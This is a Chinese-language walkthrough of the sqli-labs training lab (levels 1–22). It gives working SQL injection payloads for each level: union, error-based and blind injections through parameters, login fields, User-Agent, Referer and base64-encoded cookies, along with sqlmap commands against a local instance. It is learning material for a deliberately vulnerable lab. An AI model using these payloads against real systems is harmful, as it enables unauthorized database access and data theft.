搭建
1 2
| docker run -it -d --name sqli-labs -p 80:80 -p 13306:3306 acgpiano/sqli-labs
|
过关
第1关
闭合符号是',直接干
1
| 1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
|
第2关
数字型,没有闭合符号,直接干
1
| -1 union select 1,group_concat(schema_name),3 from information_schema.schemata
|
第3关
闭合符号是'),直接干
1
| -1') union select 1,group_concat(schema_name),3 from information_schema.schemata --+
|
第4关
闭合符号是"),直接干
1
| -1") union select 1,group_concat(schema_name),3 from information_schema.schemata --+
|
第5关
闭合符号是',不能联合查询,不能直接干,可以报错,直接干
1
| 1' and extractvalue(0x0a,concat(0x0a,(select database()))) --+
|
第6关
闭合符号是",不能直接干,可以报错,直接干
1
| -1" and extractvalue(0x0a,concat(0x0a,(select database())))--+
|
第7关
闭合符号是')),布尔盲注,直接干🙅,sqlmap一把梭
1
| ')) and left(database(), 1) > 't' --+
|
命令
1
| sqlmap -u 'http://localhost:7777/Less-7/?id=1' -v 3 --dbms mysql --tech B -p id
|
第8关
闭合符号是',布尔盲注,直接干不了
1 2
| # 一把梭哈 sqlmap -u 'http://localhost:7777/Less-8/?id=1' -v 3 --dbms mysql --tech B
|
第9关
闭合符号是',时间盲注,直接干不了
1 2
| # 一把梭哈 sqlmap -u 'http://localhost:7777/Less-9/?id=1' -v 3 --dbms mysql --tech T --batch -p id
|
第10关
闭合符号是",时间盲注,直接干不了
跟第9关一样,不写了,sqlmap一把梭
第11关
这一关要登陆,我们去前几关整几个账号密码,开干username:Dumb,password:Dumb
闭合符号是',报错注入,直接干
1
| passwd=Dumb&submit=Submit&uname=Dumb' or extractvalue(0x0a,concat(0x0a,(select database())))--+
|
第12关
闭合符号是"),报错注入,直接干
1
| passwd=Dumb&submit=Submit&uname=Dumb") and extractvalue(0x0a,concat(0x0a,(select database()))) --+
|
第13关
闭合符号是'),报错注入,直接干
1
| passwd=Dumb&submit=Submit&uname=Dumb') and extractvalue(0x0a,concat(0x0a,(select database()))) --+
|
第14关
闭合符号是",报错注入,直接干
1
| passwd=Dumb&submit=Submit&uname=Dumb" or extractvalue(0x0a,concat(0x0a,(select database()))) --+
|
第15关
闭合符号是',布尔盲注,直接干
1
| passwd=Dumb&submit=Submit&uname=Dumb' and 1=0 --+
|
sqlmap一把梭
1
| sqlmap -r ~/15 -p uname --dbms mysql
|
第16关
闭合符号是"),布尔盲注,直接干
1
| passwd=Dumb&submit=Submit&uname=Dumb") and 1=0 --+
|
抓包copytofile,sqlmap一把梭
1
| sqlmap -r ~/15 -p uname --dbms mysql
|
第17关
闭合符号是',updata型的报错注入,直接干
1
| passwd=Dumb'and extractvalue(0x0a,concat(0x0a,(select database()))) and'&submit=Submit&uname=Dumb
|
第18关
闭合符号是',ua头注入,可以报错,直接干
1
| User-Agent: a' or extractvalue(0x0a,concat(0x0a,(select database()))) or '
|
第19关
闭合符号是',ref头注入,可以报错,直接干
1 2
| 'or sleep(1) or' Referer:' or extractvalue(0x0a,concat(0x0a,(select database()))) or '
|
第20关
闭合符号是',报错注入,注入点在cookie,直接干
1
| Cookie: uname=Dumb' or updatexml(1,concat(1,database(),1),1) --+
|
第21关
闭合符号是'),报错注入,注入点在cookie,加了一层base64,直接干
1
| Cookie: uname=RHVtYicpYW5kIGV4dHJhY3R2YWx1ZSgweDBhLGNvbmNhdCgweDBhLChzZWxlY3QgZGF0YWJhc2UoKSkpKSM%3d
|
第22关
闭合符号是",报错注入,注入点在cookie,直接干
1
| Cookie: uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgweDBhLGNvbmNhdCgweDBhLChzZWxlY3QgZGF0YWJhc2UoKSkpKSAgIw%3d%3d
|